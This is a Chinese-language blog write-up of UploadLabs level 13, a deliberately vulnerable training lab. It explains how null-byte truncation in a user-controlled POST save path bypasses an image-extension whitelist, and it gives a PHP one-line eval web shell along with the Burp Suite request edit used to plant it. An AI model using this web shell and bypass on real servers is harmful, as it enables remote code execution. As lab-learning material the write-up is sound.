UploadLabs第13关通关详解:POST传参与0x00截断的实战利用

admin 2026-04-04 05:59:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了UploadLabs第13关的通关思路,核心是利用POST参数与0x00截断绕过文件上传限制。文章对比了第12关与第13关的异同,分析了0x00截断的原理,并通过BurpSuite抓包修改请求体的方式,构造恶意文件名(如shell.php\x00.jpg),最终成功上传并执行PHP文件。 综合评分: 85 文章分类: WEB安全,渗透测试,实战经验,红队,安全开发


✔ 关键点拆解

1️⃣ 后缀检测

$file_ext = substr(...)

👉 只检查上传文件名的后缀(不是保存路径)

2️⃣ 白名单限制

jpg / png / gif

👉 必须上传“图片后缀”3️⃣ 核心漏洞点

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

👉 保存路径完全由用户控制!

三、前置知识:0x00 截断(实战版)

✔ 什么是 %00

%00 → URL编码

\x00 → NULL字节

在 C 语言中:

char str[] ="shell.php\0.jpg";

实际内容为:

shell.php

✔ 截断成立的前提

❗ 必须让服务端接收到真实的 NULL 字节(\x00)

⚠️ 关键点(很多人卡在这里)

%00 ≠ \x00

| | | | — | — | | 写法 | 实际效果 | | %00 | 普通字符串 ❌ | | \x00(真实NULL) | 触发截断 ✅ |

四、攻击思路(核心)

🎯 利用目标

构造:

shell.php\x00.jp

让:

PHP 检测:.jpg ✅

底层写入:shell.php💡 利用本质

💥 检测在 PHP 层,执行在底层 C 函数层

五、实战操作(重点步骤)

1️⃣ 准备一句话木马

<?php@eval($_POST['cmd']);&nbsp;?>

2️⃣ 修改文件名

shell.jpg

👉 用于通过白名单检测

3️⃣ Burp Suite 抓包

上传文件并抓包,请求类似:

POST /upload-labs/Pass-13/index.php

4️⃣ 修改 Body(关键步骤🔥)

找到:

Content-Disposition: form-data; name="save_path"../upload/

✔ 修改为:

Content-Disposition: form-data; name="save_path"../upload/shell.php

评论:0   参与:  0